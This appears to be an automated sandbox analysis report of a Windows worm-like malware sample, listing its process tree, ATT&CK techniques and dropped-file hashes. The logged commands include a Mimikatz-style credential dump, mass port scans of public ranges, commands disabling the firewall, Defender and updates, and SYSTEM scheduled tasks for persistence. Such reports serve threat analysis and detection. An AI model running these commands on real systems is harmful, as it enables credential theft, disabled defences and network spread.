C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
PID:2852
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2776
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
PID:2872
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:2636
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
- System Location Discovery: System Language Discovery
PID:2904
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2612
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3000
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3020
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\lcrephtiz\ebttsfbtk\wpcap.exe /S2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Windows\lcrephtiz\ebttsfbtk\wpcap.exeC:\Windows\lcrephtiz\ebttsfbtk\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1116 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- System Location Discovery: System Language Discovery
PID:1436 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵
- System Location Discovery: System Language Discovery
PID:1456
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- System Location Discovery: System Language Discovery
PID:1988 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
- System Location Discovery: System Language Discovery
PID:2104
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- System Location Discovery: System Language Discovery
PID:804 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:2004
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵PID:784
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:2000
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
PID:2592 -
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:2156 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
PID:2532
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:2056
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:452 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:488
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\lcrephtiz\ebttsfbtk\iiaelmmve.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\lcrephtiz\ebttsfbtk\Scant.txt2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1144 -
C:\Windows\lcrephtiz\ebttsfbtk\iiaelmmve.exeC:\Windows\lcrephtiz\ebttsfbtk\iiaelmmve.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\lcrephtiz\ebttsfbtk\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1288
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\lcrephtiz\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\lcrephtiz\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:2540 -
C:\Windows\lcrephtiz\Corporate\vfshost.exeC:\Windows\lcrephtiz\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1472
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "pkvrzlnif" /ru system /tr "cmd /c C:\Windows\ime\gevvryv.exe"2⤵
- System Location Discovery: System Language Discovery
PID:1452 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:1996
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "pkvrzlnif" /ru system /tr "cmd /c C:\Windows\ime\gevvryv.exe"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1680
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "livvetkbs" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mitkhive\gevvryv.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
PID:3024 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:2384
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "livvetkbs" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mitkhive\gevvryv.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2892
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "eaunvhgee" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qamknffpe\riflvg.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
PID:1600 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1552
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "eaunvhgee" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qamknffpe\riflvg.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2304
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:732
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2520
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2252
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3044
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2692
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:1640
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:844
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:1448
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2752
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2092
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- Modifies data under HKEY_USERS
PID:624
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- Modifies data under HKEY_USERS
PID:280
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:1236
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵
- System Location Discovery: System Language Discovery
PID:2220 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵
- System Location Discovery: System Language Discovery
PID:2196
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵
- System Location Discovery: System Language Discovery
PID:2712 -
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- Modifies data under HKEY_USERS
PID:2276
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵
- System Location Discovery: System Language Discovery
PID:1808 -
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2000
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵
- System Location Discovery: System Language Discovery
PID:2952 -
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵
- System Location Discovery: System Language Discovery
PID:2512 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵
- System Location Discovery: System Language Discovery
PID:1248
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵PID:1116
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵
- System Location Discovery: System Language Discovery
PID:1000 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
- System Location Discovery: System Language Discovery
PID:1864
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵
- System Location Discovery: System Language Discovery
PID:2040 -
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵
- System Location Discovery: System Language Discovery
PID:1312 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵
- System Location Discovery: System Language Discovery
PID:1984
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵
- System Location Discovery: System Language Discovery
PID:2940 -
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
PID:1112
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵
- System Location Discovery: System Language Discovery
PID:2180 -
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:792
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵
- System Location Discovery: System Language Discovery
PID:2280 -
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1684
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵
- System Location Discovery: System Language Discovery
PID:2172 -
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
PID:1560
-
-
-
C:\Windows\TEMP\lcrephtiz\sbigaauav.exeC:\Windows\TEMP\lcrephtiz\sbigaauav.exe -accepteula -mp 1048 C:\Windows\TEMP\lcrephtiz\1048.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2960
-
-
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1500
-
-
C:\Windows\TEMP\lcrephtiz\sbigaauav.exeC:\Windows\TEMP\lcrephtiz\sbigaauav.exe -accepteula -mp 1076 C:\Windows\TEMP\lcrephtiz\1076.dmp2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2992
-
-
C:\Windows\TEMP\lcrephtiz\sbigaauav.exeC:\Windows\TEMP\lcrephtiz\sbigaauav.exe -accepteula -mp 1168 C:\Windows\TEMP\lcrephtiz\1168.dmp2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1600
-
-
C:\Windows\TEMP\lcrephtiz\sbigaauav.exeC:\Windows\TEMP\lcrephtiz\sbigaauav.exe -accepteula -mp 760 C:\Windows\TEMP\lcrephtiz\760.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2544
-
-
C:\Windows\TEMP\lcrephtiz\sbigaauav.exeC:\Windows\TEMP\lcrephtiz\sbigaauav.exe -accepteula -mp 1036 C:\Windows\TEMP\lcrephtiz\1036.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2624
-
-
C:\Windows\TEMP\lcrephtiz\sbigaauav.exeC:\Windows\TEMP\lcrephtiz\sbigaauav.exe -accepteula -mp 1800 C:\Windows\TEMP\lcrephtiz\1800.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2688
-
-
C:\Windows\TEMP\lcrephtiz\sbigaauav.exeC:\Windows\TEMP\lcrephtiz\sbigaauav.exe -accepteula -mp 2256 C:\Windows\TEMP\lcrephtiz\2256.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2500
-
-
C:\Windows\TEMP\lcrephtiz\sbigaauav.exeC:\Windows\TEMP\lcrephtiz\sbigaauav.exe -accepteula -mp 2344 C:\Windows\TEMP\lcrephtiz\2344.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2908
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\lcrephtiz\ebttsfbtk\scan.bat2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:584 -
C:\Windows\lcrephtiz\ebttsfbtk\rkgteichq.exerkgteichq.exe TCP 194.110.0.1 194.110.255.255 445 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:488
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵PID:4060
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:5108
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
PID:5112
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:5032
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:5116
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:5104
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
- System Location Discovery: System Language Discovery
PID:3360
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2760
-
C:\Windows\SysWOW64\dqljao.exeC:\Windows\SysWOW64\dqljao.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2036
-
C:\Windows\system32\taskeng.exetaskeng.exe {AAAD2461-082C-4DFE-A711-881F0C51C41C} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:1016
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\mitkhive\gevvryv.exe /p everyone:F2⤵PID:2104
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1940
-
-
C:\Windows\system32\cacls.execacls C:\Windows\mitkhive\gevvryv.exe /p everyone:F3⤵PID:2168
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\gevvryv.exe2⤵PID:1244
-
C:\Windows\ime\gevvryv.exeC:\Windows\ime\gevvryv.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:2240
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\qamknffpe\riflvg.exe /p everyone:F2⤵PID:1204
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2188
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\qamknffpe\riflvg.exe /p everyone:F3⤵PID:2004
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\qamknffpe\riflvg.exe /p everyone:F2⤵PID:2264
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3368
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\qamknffpe\riflvg.exe /p everyone:F3⤵PID:3792
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\mitkhive\gevvryv.exe /p everyone:F2⤵PID:3020
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3588
-
-
C:\Windows\system32\cacls.execacls C:\Windows\mitkhive\gevvryv.exe /p everyone:F3⤵PID:3124
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\gevvryv.exe2⤵PID:1280
-
C:\Windows\ime\gevvryv.exeC:\Windows\ime\gevvryv.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:3964
-
-
Network
MITRE ATT&CK Enterprise v15
Execution
Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
1Subvert Trust Controls
1Install Root Certificate
1Discovery
Network Service Discovery
2Network Share Discovery
1Query Registry
1Remote System Discovery
1System Information Discovery
1System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
-
Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
-
Filesize
2.2MB
MD52dd8604d170edd890596e4797c4b771a
SHA1861257f05ee146e29d795adc8f09808af579bbff
SHA25670db510ebf4cab7eca98683b0cfe9310b6205b81555a5756ba3691aa5ee864aa
SHA512fcdcb74f6708d7a3f285106fe735eff08b6215a4fa03a42972960ae3bb3c6ebd2f53eafee04e2bff63214cc81755e68474dce15d06dfde917c94fd3152019a6f
-
Filesize
4.6MB
MD5ab00cce8a6811cad7c89343b2e49d619
SHA1cf07399159b9245685989906ff56d3de65d8f34a
SHA2566916bfe5cd153a6a2b3613842cee5f89643eff6a503bf35e3237be1e0b73516e
SHA512b71eb45fd762366aab703cfafb22e1eecff4b30975e03df59300ac492648d2808bf36fda06cd8e473d332daa284cd8ee24dee955e153abd4c6f5dfb099e69ffb
-
Filesize
1.4MB
MD56a876fa04594f67274a91e07f222bb54
SHA12b0bc281e0fc417096b868ae05d6c7ab03ffedc9
SHA256338cc11f72a956b1a33b952209522110b5cedc25d7c4c6a875ae36a62952384d
SHA512579e54a706fdce32e70aa86818bc5242f5c9d90f0b6265059051733ce7ae374dc7573221d5dfaeeb69f4772ae6a8a2ce862ea46b46806b5202de9d759a10b391
-
Filesize
1.3MB
MD5d0a5deb9c5706ccf90cc5c1d12fe951f
SHA18e65bec2ee281daa016546d4cd8bf4a6a6341aa7
SHA2566b229aabc7f7cb91f31d864ae64eb3ee6fc3b47f9687d26d160cb8cefd94db87
SHA51249b30a8c250e54bf07f70c92f77e8a46be0d7cf79f2d23f70635f834ef8d412dc66c6bd9338006d06bbe7fb7a7eef4fe8f2e7d869040540366f39b4f22c82ff7
-
Filesize
5.2MB
MD5a5737c32e3efd43cf04bf2b2c88bcb61
SHA16463922085aeb877ca65413c74cb6bc5876b9bd3
SHA256e461ff944373d0515330cbd852400bbd4c063db9d9da2c6e3921f1e715cb22bc
SHA512f0f9c42f82bfafdd84f22b72b714d65320d46df3596804ba634df7c2b46e87aad738ed202230e6e860052c577ae24de0c39acf24f08e30f474b1ca89d3daf4ad
-
Filesize
6.4MB
MD5bd6b5f672aea3ccee4370df31faafcda
SHA19247faadddf68b4bf7d8f8a5386bdfcc60692744
SHA2560ca4178e908e09e896762f5805a04239292f48923609485725c7824cb276219f
SHA512cf9ae9802f0d75339ddc288c9632676f01ab355c7c0a910374bb0de80454d389f451ab3d567e94de72d4add5472694c312238cde6b87cebd983b71a48de49916
-
Filesize
851KB
MD5862e1ee0d8c1dd09459e7ce9627e32ea
SHA12bdd4571bd210610815c81c9299a9474299893a1
SHA2561874394be7b5a5b82af003ec3a60f730ee8a3c36856dc3082d277eb9943e4a4a
SHA512e9e059a15165c2476d45a229be345dd216d686b81d23f510b0d5a420ba65d587d5e8acdd5c4dcd1758fa0b7c41f75b1a3027aca385a11b29f76363985fa82038
-
Filesize
4.0MB
MD51f4ba6a43ab05132b1e9fbe8c0c0e6b0
SHA1ff18903490243965e468d608aefba1af4a1382b4
SHA256ef730c00ddf41d72e35e65136ed1eb3d9c312c3e4098fc34bbd1f9e0e7c5c116
SHA51294a30a979ead3144bafae6645012dccfffe9d90c3d095e3b13673f7bc28cd353f42fd4c58486cd0442ccc9e17085c139d10aa85e2b7cd871483bbdf8c5c74486
-
Filesize
693B
MD5f2d396833af4aea7b9afde89593ca56e
SHA108d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA256d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
SHA5122f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
-
Filesize
189B
MD5f770be94f68d806d8f053f66e9e5b03b
SHA133712d4aba1c6bb52ac399fc4faf696dd68b6335
SHA2567f4ae054b602900c4c8e37afc35ee286eefd7225ace22c6019c2722a093b1e27
SHA512d16b52c4bce8d116e721ad1a9d36fa3662f669f579da53bef66bed9af7a58e44cafb74a9260847227dc0e68f5f3f1568a7c1ef26c12e1fa4842d56c47ef2b420
-
Filesize
159B
MD5b0fa1b27c7275bf66d0f89495fb9bdb4
SHA1a5b8c6df937614c53c80ae9c3357ba84bb6792cc
SHA2561edaf7526e5a1518d0b3cff7620d4ffd4d38ad39fef74367f14248bc5dba3a19
SHA51207528a2b39e0d359a67ff98791a475dcbc546a7e55ae78fbc51c84d09840517e4866f24bc787458a3c81192ccb02902a442ce938a7a6d363cfd2b95d9280bd9c
-
Filesize
424KB
MD5e9c001647c67e12666f27f9984778ad6
SHA151961af0a52a2cc3ff2c4149f8d7011490051977
SHA2567ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
SHA51256f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe
-
Filesize
975B
MD5b5d815ff5310f62de5020591be598bc0
SHA18013562b0cc2516d16d474308c8982a31b7f5dd0
SHA256a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
SHA5124e3175ef0c289e1beea60f51239a98533690505b709f778703502dad3f72e3c7e9aa26e1a3837712ed5e1344e28e5ccff1d63a1245352bbc8435a71e15347a94
-
Filesize
126KB
MD5e8d45731654929413d79b3818d6a5011
SHA123579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA256a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
SHA512df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
-
Filesize
11KB
MD52ae993a2ffec0c137eb51c8832691bcb
SHA198e0b37b7c14890f8a599f35678af5e9435906e1
SHA256681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
SHA5122501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
-
Filesize
6KB
MD5b648c78981c02c434d6a04d4422a6198
SHA174d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA2563e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
SHA512219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
-
Filesize
343KB
MD52b4ac7b362261cb3f6f9583751708064
SHA1b93693b19ebc99da8a007fed1a45c01c5071fb7f
SHA256a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
SHA512c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616
-
Filesize
72KB
MD5cbefa7108d0cf4186cdf3a82d6db80cd
SHA173aeaf73ddd694f99ccbcff13bd788bb77f223db
SHA2567c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
SHA512b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1
-
Filesize
381KB
MD5fd5efccde59e94eec8bb2735aa577b2b
SHA151aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA256441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
SHA51274a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
-
Filesize
332KB
MD5ea774c81fe7b5d9708caa278cf3f3c68
SHA1fc09f3b838289271a0e744412f5f6f3d9cf26cee
SHA2564883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
SHA5127cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
-
Filesize
8.8MB
MD5650db3a21b08117e298dec15b48db0c8
SHA1e49c4824041d55e846fd38f00ce499b6f10db267
